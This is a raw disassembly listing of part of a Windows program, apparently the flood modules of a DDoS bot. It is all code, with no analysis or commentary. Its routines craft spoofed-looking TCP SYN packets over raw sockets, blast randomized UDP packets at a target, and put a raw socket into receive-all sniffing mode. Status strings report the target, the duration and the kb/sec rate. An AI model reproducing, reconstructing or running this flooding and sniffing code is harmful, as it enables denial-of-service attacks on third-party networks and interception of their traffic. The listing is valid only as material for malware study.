lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F10C
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4281A0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428210 proc near ; CODE XREF: ___:004016E5j sub_40182Aj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4010FF
test [esp+4+arg_0], 1
jz short loc_428228
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_428228: ; CODE XREF: sub_428210+Dj
mov eax, esi
pop esi
retn 4
sub_428210 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_428240 proc near ; CODE XREF: sub_4010FFj
jmp sub_4014CE
sub_428240 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_428260 proc near ; CODE XREF: sub_401EB0j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_428260
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+50h]
mov edx, [esi+58h]
lea edi, [esi+3Bh]
push eax
push ecx
push edx
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
push offset aSSUUsecDms ; "%s: %s:%u (%usec/%dms)"
mov ecx, ebp
call sub_4014DD
mov cl, [esi+8Fh]
push eax
mov al, [esi+90h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
add esp, 28h
lea ecx, [esp+34h+var_24]
call sub_40142E
mov edx, [esi+54h]
mov eax, [esi+50h]
mov ecx, [esi+58h]
push edx
push eax
push ecx
mov ecx, edi
mov [esp+40h+var_4], 0
call sub_4014DD
push eax
call sub_401DCF
sub_428260 endp
; ---------------------------------------------------------------------------
cdq
and edx, 3FFh
add esp, 10h
add eax, edx
mov ecx, edi
sar eax, 0Ah
cdq
idiv dword ptr [esi+50h]
mov edx, [esi+58h]
push eax
push edx
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
lea eax, [esp+20h]
push offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
push eax
call sub_40102D
add esp, 18h
lea ecx, [esp+10h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4014DD
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 14h
mov dword ptr [esp+30h], 0FFFFFFFFh
lea ecx, [esp+10h]
call sub_401226
mov ecx, [esp+28h]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4283D0 proc near ; CODE XREF: sub_401BC7j
var_95 = byte ptr -95h
var_8C = dword ptr -8Ch
var_3C = byte ptr -3Ch
var_3B = byte ptr -3Bh
sub esp, 98h
push ebx
push ebp
push esi
push edi
mov ecx, 0Eh
xor eax, eax
lea edi, [esp+0A8h+var_3B]
mov [esp+0A8h+var_3C], 0
rep stosd
stosw
xor esi, esi
push 0FFh
push esi
mov [esp+0B0h+var_8C], esi
stosb
mov [esp+0B0h+var_95], 0
call sub_4021C6
sub_4283D0 endp
; ---------------------------------------------------------------------------
push 0FFh
push esi
mov [esp+24h], al
call sub_4021C6
; ---------------------------------------------------------------------------
push 0FFh
push esi
mov [esp+2Dh], al
call sub_4021C6
; ---------------------------------------------------------------------------
push 0FFh
push esi
mov [esp+36h], al
call sub_4021C6
; ---------------------------------------------------------------------------
add esp, 20h
cmp [esp+0B4h], si
mov [esp+17h], al
jnz short loc_428461
push 2710h
push 3E8h
mov byte ptr [esp+1Bh], 1
call sub_4021C6
; ---------------------------------------------------------------------------
add esp, 8
mov [esp+0B4h], eax
loc_428461: ; CODE XREF: ___:00428441j
push 1
push esi
push esi
push 0FFh
push 3
push 2
mov dword ptr [esp+64h], 1
nop
call near ptr 71AB8769h
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [esp+18h], edi
jnz short loc_428494
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 98h
retn
; ---------------------------------------------------------------------------
loc_428494: ; CODE XREF: ___:00428485j
lea eax, [esp+4Ch]
push 4
push eax
push 2
push esi
push edi
nop
call near ptr 71AB3EA1h
cmp eax, 0FFFFFFFFh
jnz short loc_4284B7
loc_4284AA: ; CODE XREF: ___:0042865Fj
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 98h
retn
; ---------------------------------------------------------------------------
loc_4284B7: ; CODE XREF: ___:004284A8j
mov ecx, [esp+0B4h]
mov ebp, dword_511C38
push ecx
mov word ptr [esp+60h], 2
call ebp ; ntohs
mov ebx, [esp+0ACh]
push 28h
mov [esp+62h], ax
mov [esp+64h], ebx
mov byte ptr [esp+24h], 45h
call ebp ; ntohs
push 4000h
mov [esp+26h], ax
mov word ptr [esp+28h], 1
mov [esp+2Ah], si
mov byte ptr [esp+2Ch], 80h
mov byte ptr [esp+2Dh], 6
mov [esp+2Eh], si
mov [esp+34h], ebx
mov byte ptr [esp+44h], 50h
mov byte ptr [esp+45h], 2
call ebp ; ntohs
mov [esp+42h], ax
mov [esp+46h], si
mov [esp+3Ch], esi
nop
call near ptr 27F0C4Bh
mov [esp+48h], eax
mov al, byte_4D84B9
test al, al
jz loc_42870B
mov ebx, dword_511AC8
mov byte ptr [esp+58h], 0
mov byte ptr [esp+59h], 6
jmp short loc_428555
; ---------------------------------------------------------------------------
xor esi, esi
loc_428555: ; CODE XREF: ___:00428551j
mov edi, [esp+1Ch]
mov edx, [esp+0B4h]
inc edi
push edx
mov [esp+20h], edi
mov [esp+48h], si
call ebp ; ntohs
push 14h
mov [esp+3Ah], ax
call ebp ; ntohs
mov [esp+5Ah], ax
mov eax, [esp+14h]
push eax
nop
call near ptr 71AB2BC0h
mov esi, eax
mov [esp+2Ch], esi
call ebx ; rand
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call ebp ; ntohs
mov [esp+34h], ax
call ebx ; rand
mov edi, eax
shl edi, 10h
call ebx ; rand
or edi, eax
push edi
call ebp ; ntohs
mov edx, [esp+0ACh]
and eax, 0FFFFh
mov [esp+38h], eax
mov eax, [esp+58h]
mov [esp+6Ch], esi
mov ecx, 5
lea esi, [esp+34h]
lea edi, [esp+78h]
mov [esp+70h], edx
mov [esp+74h], eax
rep movsd
lea ecx, [esp+6Ch]
push 20h
push ecx
call sub_401A37
mov ecx, 5
lea esi, [esp+28h]
lea edi, [esp+74h]
lea edx, [esp+74h]
rep movsd
mov ecx, 5
lea esi, [esp+3Ch]
lea edi, [esp+88h]
mov [esp+4Ch], ax
push 28h
push edx
rep movsd
mov dword ptr [esp+0A4h], 0
call sub_401A37
mov edx, [esp+28h]
add esp, 10h
mov [esp+2Ah], ax
mov ecx, 5
lea esi, [esp+20h]
lea edi, [esp+6Ch]
lea eax, [esp+5Ch]
push 10h
rep movsd
push eax
push 0
lea ecx, [esp+78h]
push 28h
push ecx
push edx
nop
call near ptr 71AB2C69h
cmp eax, 0FFFFFFFFh
jz loc_4284AA
call near ptr 27F0C4Bh
nop
mov edx, [esp+48h]
mov ecx, eax
sub ecx, edx
mov eax, 10624DD3h
mul ecx
mov eax, [esp+0B8h]
shr edx, 6
cmp edx, eax
ja short loc_428707
mov al, [esp+13h]
test al, al
jz short loc_4286A9
push 2710h
push 3E8h
call sub_4021C6
; ---------------------------------------------------------------------------
add esp, 8
mov [esp+0B4h], eax
loc_4286A9: ; CODE XREF: ___:0042868Ej
push 0FFh
push 0
call sub_4021C6
; ---------------------------------------------------------------------------
push 0FFh
push 0
mov [esp+24h], al
call sub_4021C6
; ---------------------------------------------------------------------------
push 0FFh
push 0
mov [esp+2Dh], al
call sub_4021C6
; ---------------------------------------------------------------------------
push 0FFh
push 0
mov [esp+36h], al
call sub_4021C6
; ---------------------------------------------------------------------------
db 8Bh, 94h, 24h
dd 0DCh, 8820C483h, 52172444h, 427C70E8h, 0B9A09002h, 84004D84h
dd 4C850FC0h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_428707: ; CODE XREF: ___:00428686j
mov edi, [esp+18h]
loc_42870B: ; CODE XREF: ___:0042853Bj
push edi
nop
call near ptr 71AB9639h
mov eax, [esp+1Ch]
pop edi
pop esi
pop ebp
lea eax, [eax+eax*4+5]
pop ebx
shl eax, 2
add esp, 98h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_428810 proc near ; CODE XREF: sub_401DCFj
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
mov eax, [esp+arg_0]
push esi
push eax
call sub_40188E
mov esi, eax
call near ptr 77C371D3h
nop
and eax, 800001FFh
jns short loc_428831
dec eax
or eax, 0FFFFFE00h
inc eax
loc_428831: ; CODE XREF: sub_428810+18j
mov ecx, [esp+4+arg_10]
mov edx, [esp+4+arg_C]
push ecx
mov ecx, [esp+8+arg_8]
lea eax, [eax+esi+100h]
push edx
push ecx
push eax
push esi
call sub_401BC7
sub_428810 endp
; ---------------------------------------------------------------------------
add esp, 18h
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428880 proc near ; CODE XREF: sub_40178Fj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_428880
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F9B
push offset aUdp ; "udp"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F11C
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_428880 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4288F0 proc near ; CODE XREF: ___:004014F6j sub_40224Dj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401159
test [esp+4+arg_0], 1
jz short loc_428908
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_428908: ; CODE XREF: sub_4288F0+Dj
mov eax, esi
pop esi
retn 4
sub_4288F0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_428920 proc near ; CODE XREF: sub_401159j
jmp sub_4014CE
sub_428920 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428940 proc near ; CODE XREF: sub_401A14j
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_428940
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+60h]
mov edx, [esi+5Ch]
push eax
mov eax, [esi+58h]
lea edi, [esi+3Bh]
push ecx
push edx
push eax
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
push offset aSSUUtUbDms ; "%s: %s:%u (%ut/%ub/%dms)"
mov ecx, ebp
call sub_4014DD
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 2Ch
lea ecx, [esp+34h+var_24]
call sub_40142E
mov eax, [esi+58h]
mov ecx, [esi+54h]
mov edx, [esi+60h]
push eax
mov eax, [esi+5Ch]
push ecx
push edx
push eax
mov ecx, edi
mov [esp+44h+var_4], 0
call sub_4014DD
push eax
call sub_40173A
add esp, 14h
test eax, eax
jz short loc_428A0E
mov ecx, [esi+5Ch]
mov edx, [esi+58h]
push ecx
push edx
mov ecx, edi
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
lea eax, [esp+44h+var_24]
push offset aSSDDone ; "%s: %s:%d done"
push eax
call sub_40102D
add esp, 18h
loc_428A0E: ; CODE XREF: sub_428940+A2j
lea ecx, [esp+34h+var_24]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4014DD
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 14h
lea ecx, [esp+34h+var_24]
mov [esp+34h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
sub_428940 endp
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428AB0 proc near ; CODE XREF: sub_40173Aj
var_36 = word ptr -36h
var_18 = byte ptr -18h
var_16 = word ptr -16h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_FFBC = dword ptr 0FFC0h
arg_FFCC = dword ptr 0FFD0h
arg_FFDC = dword ptr 0FFE0h
arg_FFE0 = dword ptr 0FFE4h
arg_FFE4 = dword ptr 0FFE8h
arg_FFE8 = dword ptr 0FFECh
arg_FFEC = dword ptr 0FFF0h
mov eax, 0FFF0h
call sub_437B30
push esi
push 11h
push 2
push 2
nop
call near ptr 71AB3B91h
mov esi, [esp+10h+arg_FFE4]
mov [esp+10h+arg_0], eax
xor eax, eax
push esi
mov [esp+14h+var_C], eax
mov word ptr [esp+14h+var_C], 2
mov [esp+14h+var_8], eax
mov [esp+14h+var_4], eax
mov [esp+14h], eax
nop
call near ptr 71AB2BF4h
cmp eax, 0FFFFFFFFh
jnz short loc_428B11
push esi
nop
call near ptr 71AB4FD4h
test eax, eax
jnz short loc_428B0A
pop esi
add esp, 0FFF0h
retn
; ---------------------------------------------------------------------------
loc_428B0A: ; CODE XREF: sub_428AB0+50j
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov eax, [edx]
loc_428B11: ; CODE XREF: sub_428AB0+45j
mov esi, [esp+18h+arg_FFEC]
push ebx
mov ebx, dword_511AC8
push ebp
test esi, esi
mov [esp+20h+var_10], eax
push edi
jnz short loc_428B4D
call ebx ; rand
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
nop
call near ptr 71AB2B66h
mov [esp+28h+var_16], ax
mov [esp+28h+arg_FFE8], 1
jmp short loc_428B7E
; ---------------------------------------------------------------------------
loc_428B4D: ; CODE XREF: sub_428AB0+77j
push esi
call near ptr 71AB2B66h
nop
cmp esi, 1
mov [esp+28h+var_16], ax
jge short loc_428B6B
mov [esp+28h+arg_FFE8], 1
jmp short loc_428B7E
; ---------------------------------------------------------------------------
loc_428B6B: ; CODE XREF: sub_428AB0+ACj
cmp esi, 0FFFFh
jle short loc_428B7E
mov [esp+28h+arg_FFE8], 0FFFFh
loc_428B7E: ; CODE XREF: sub_428AB0+9Bj
; sub_428AB0+B9j ...
mov eax, [esp+28h+arg_FFE4]
test eax, eax
jnz short loc_428B94
mov [esp+28h+arg_FFE4], 1
loc_428B94: ; CODE XREF: sub_428AB0+D7j
mov ecx, [esp+28h+arg_FFDC]
mov eax, 66666667h
imul ecx
mov edi, [esp+28h+arg_FFE0]
xor esi, esi
sar edx, 2
mov eax, edx
shr eax, 1Fh
add edx, eax
test edi, edi
mov ebp, edx
jle short loc_428BCE
loc_428BBB: ; CODE XREF: sub_428AB0+11Cj
call ebx ; rand
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, edi
mov byte ptr [esp+esi+28h+var_8+3], dl
jl short loc_428BBB
loc_428BCE: ; CODE XREF: sub_428AB0+109j
mov edx, ebp
dec ebp
test edx, edx
mov [esp+28h+arg_FFDC], ebp
jle loc_428C60
mov ebp, dword_511C68
loc_428BE6: ; CODE XREF: sub_428AB0+1AEj
mov al, byte_4D84B9
test al, al
jz short loc_428C60
mov esi, 0Bh
loc_428BF4: ; CODE XREF: sub_428AB0+177j
lea eax, [esp+28h+var_18]
push 10h
push eax
push 0
call ebx ; rand
cdq
mov ecx, 0Ah
idiv ecx
mov eax, edi
lea ecx, [esp+34h+var_4]
sub eax, edx
mov edx, [esp+34h+var_8]
push eax
push ecx
push edx
call ebp ; sendto
mov eax, [esp+40h+arg_FFCC]
push eax
nop
call near ptr 2850369h
dec esi
jnz short loc_428BF4
mov eax, [esp+44h+arg_FFCC]
test eax, eax
jnz short loc_428C4B
call ebx ; rand
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
nop
call near ptr 71AB2B66h
mov [esp+48h+var_36], ax
loc_428C4B: ; CODE XREF: sub_428AB0+182j
mov eax, [esp+48h+arg_FFBC]
mov edx, eax
dec eax
test edx, edx
mov [esp+48h+arg_FFBC], eax
jg short loc_428BE6
loc_428C60: ; CODE XREF: sub_428AB0+12Aj
; sub_428AB0+13Dj
pop edi
pop ebp
pop ebx
mov eax, 1
pop esi
add esp, 0FFF0h
retn
sub_428AB0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428CE0 proc near ; CODE XREF: sub_40209Aj
var_10 = word ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push ebx
mov ebx, [esp+14h+arg_4]
push esi
push edi
mov edi, [esp+1Ch+arg_0]
lea eax, [ebx-14h]
push eax
lea ecx, [edi+28h]
push ecx
call sub_401A37
mov edx, [edi+10h]
add esp, 8
mov [edi+0Ah], ax
mov [esp+1Ch+var_10], 2
push 1
push 0
push 0
push 0FFh
push 3
push 2
mov [esp+34h+var_C], edx
mov [esp+34h+arg_4], 1
nop
call near ptr 71AB8769h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_428D3D
pop edi
pop esi
or eax, eax
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_428D3D: ; CODE XREF: sub_428CE0+52j
lea eax, [esp+1Ch+arg_4]
push 4
push eax
push 2
push 0
push esi
nop
call near ptr 71AB3EA1h
cmp eax, 0FFFFFFFFh
jnz short loc_428D5D
pop edi
pop esi
or eax, eax
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_428D5D: ; CODE XREF: sub_428CE0+72j
lea ecx, [esp+1Ch+var_10]
push 10h
push ecx
push 0
push ebx
push edi
push esi
nop
call near ptr 71AB2C69h
push esi
mov edi, eax
nop
call near ptr 71AB9639h
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 10h
retn
sub_428CE0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428DC0 proc near ; CODE XREF: sub_401DB1j
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_28 = dword ptr -28h
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_10 = word ptr 14h
arg_12 = word ptr 16h
arg_14 = dword ptr 18h
arg_1C = byte ptr 20h
arg_24 = byte ptr 28h
arg_25 = byte ptr 29h
arg_B8 = byte ptr 0BCh
arg_C1 = byte ptr 0C5h
arg_C4 = dword ptr 0C8h
arg_C8 = dword ptr 0CCh
arg_100C8 = dword ptr 100CCh
arg_100D8 = dword ptr 100DCh
arg_10128 = dword ptr 1012Ch
arg_1012C = dword ptr 10130h
arg_10130 = dword ptr 10134h
mov eax, 10128h
call sub_437B30
push ebx
push ebp
push esi
push edi
mov ecx, 3Fh
xor eax, eax
lea edi, [esp+10h+arg_25]
mov [esp+10h+arg_24], 0
rep stosd
stosw
mov eax, [esp+10h+arg_10128]
push eax
call sub_40188E
mov ecx, [esp+14h+arg_1012C]
mov [esp+14h+arg_4], eax
push ecx
call sub_40188E
mov edi, [esp+18h+arg_10130]
add esp, 8
xor ebx, ebx
mov [esp+10h+arg_0], eax
mov [esp+10h+arg_10], 2
mov [esp+10h+arg_12], bx
mov [esp+10h+arg_14], ebx
mov esi, offset byte_448F30
mov eax, edi
loc_428E27: ; CODE XREF: sub_428DC0+85j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_428E4B
test cl, cl
jz short loc_428E47
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_428E4B
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428E27
loc_428E47: ; CODE XREF: sub_428DC0+71j
xor eax, eax
jmp short loc_428E50
; ---------------------------------------------------------------------------
loc_428E4B: ; CODE XREF: sub_428DC0+6Dj
; sub_428DC0+7Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_428E50: ; CODE XREF: sub_428DC0+89j
cmp eax, ebx
jnz short loc_428EA3
mov ebp, dword_4D80C7
cmp ebp, ebx
mov [esp+10h], ebp
jz short loc_428E67
cmp ebp, 0FFFFFFFFh
jnz short loc_428EAE
loc_428E67: ; CODE XREF: sub_428DC0+A0j
lea eax, [esp+10h+arg_24]
push 0FFh
push eax
call near ptr 71AB50C8h
nop
lea ecx, [esp+18h+arg_1C]
push ecx
nop
call near ptr 71AB4FD4h
movsx ecx, word ptr [eax+0Ah]
mov edx, [eax+0Ch]
mov eax, ecx
lea edi, [esp+1Ch+var_C]
mov esi, [edx]
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ebp, [esp+1Ch+var_C]
jmp short loc_428EAE
; ---------------------------------------------------------------------------
loc_428EA3: ; CODE XREF: sub_428DC0+92j
push edi
call sub_40188E
add esp, 4
mov ebp, eax
loc_428EAE: ; CODE XREF: sub_428DC0+A5j
; sub_428DC0+E1j
cmp ebp, ebx
jz short loc_428EB7
cmp ebp, 0FFFFFFFFh
jnz short loc_428EBD
loc_428EB7: ; CODE XREF: sub_428DC0+F0j
mov ebp, dword_4D80C7
loc_428EBD: ; CODE XREF: sub_428DC0+F5j
mov edi, 1
mov [esp+10h+arg_14], ebp
push edi
push ebx
push ebx
push ebx
push 3
push 2
mov [esp+28h+arg_8], edi
call near ptr 71AB8769h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_428FFD
lea ecx, [esp+28h+var_C]
push 4
push ecx
push 2
push ebx
push esi
nop
call near ptr 71AB3EA1h
cmp eax, 0FFFFFFFFh
jz loc_428FFD
lea edx, [esp+3Ch+var_18]
push 10h
push edx
push esi
nop
call near ptr 71AB3E00h
cmp eax, 0FFFFFFFFh
jz loc_428FFD
push ebx
lea eax, [esp+4Ch+var_14]
push ebx
push eax
push ebx
push ebx
lea ecx, [esp+5Ch+var_28]
push 4
push ecx
push 98000001h
push esi
mov [esp+6Ch+var_28], edi
nop
call near ptr 71AB4489h
cmp eax, 0FFFFFFFFh
jz loc_428FFD
mov edx, [esp+6Ch+arg_100D8]
cmp byte ptr [edx], 0
jz loc_428FE3
mov ebx, dword_511CA4
loc_428F53: ; CODE XREF: sub_428DC0+21Dj
mov ecx, 3FFFh
xor eax, eax
lea edi, [esp+6Ch+arg_C8]
push 0
rep stosd
stosw
stosb
lea eax, [esp+70h+arg_C8]
push 0FFFFh
push eax
push esi
call ebx ; recv
cmp [esp+7Ch+arg_C1], 2Fh
jnz short loc_428FD3
mov ecx, [esp+7Ch+arg_C4]
mov edx, [esp+7Ch+var_64]
cmp ecx, edx
jnz short loc_428FAE
mov ecx, [esp+7Ch+var_68]
lea edx, [esp+7Ch+arg_B8]
push eax
mov [esp+80h+arg_C4], ebp
mov [esp+80h+arg_C8], ecx
push edx
jmp short loc_428FCB
; ---------------------------------------------------------------------------
loc_428FAE: ; CODE XREF: sub_428DC0+1CFj
cmp ecx, [esp+7Ch+var_68]
jnz short loc_428FD3
push eax
lea eax, [esp+80h+arg_B8]
mov [esp+80h+arg_C4], ebp
mov [esp+80h+arg_C8], edx
push eax
loc_428FCB: ; CODE XREF: sub_428DC0+1ECj
call sub_40209A
add esp, 8
loc_428FD3: ; CODE XREF: sub_428DC0+1C0j
; sub_428DC0+1F2j
mov ecx, [esp+7Ch+arg_100C8]
cmp byte ptr [ecx], 0
jnz loc_428F53
loc_428FE3: ; CODE XREF: sub_428DC0+187j
mov edx, dword_511A90
add edx, 20h
push edx
nop
call near ptr 77C3EEF6h
add esp, 4
push esi
call near ptr 71AB9639h
nop
loc_428FFD: ; CODE XREF: sub_428DC0+11Dj
; sub_428DC0+137j ...
pop edi
pop esi
pop ebp
pop ebx
add esp, 10128h
retn
sub_428DC0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4290B0 proc near ; CODE XREF: sub_401898j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4290B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401FA0
push offset off_446EF4
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F12C
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4290B0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429120 proc near ; CODE XREF: sub_401FA0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_429120
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E88
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_40142E
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_40142E
lea ecx, [esi+6Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_40142E
lea ecx, [esi+82h]
mov byte ptr [esp+14h+var_4], 5
call sub_40142E
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F13C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_429120 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4291E0 proc near ; CODE XREF: sub_4017A8j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4291E0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43F13C
lea ecx, [esi+82h]
mov [esp+14h+var_4], 5
call sub_401226
lea ecx, [esi+6Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_40204F
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4291E0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4292B0: ; CODE XREF: ___:00401A23j
; ___:loc_402086j
push esi
mov esi, ecx
call sub_4017A8
test byte ptr [esp+8], 1
jz short loc_4292C8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_4292C8: ; CODE XREF: ___:004292BDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4292E0 proc near ; CODE XREF: ___:00401096j sub_401C3Fj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4015FF
test [esp+4+arg_0], 1
jz short loc_4292F8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_4292F8: ; CODE XREF: sub_4292E0+Dj
mov eax, esi
pop esi
retn 4
sub_4292E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_429310 proc near ; CODE XREF: sub_4015FFj
jmp sub_4017A8
sub_429310 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429330 proc near ; CODE XREF: sub_4015B9j
push ebx
push ebp
push esi
mov esi, ecx
push edi
lea edi, [esi+82h]
lea ebx, [esi+58h]
mov ecx, edi
lea ebp, [esi+6Dh]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
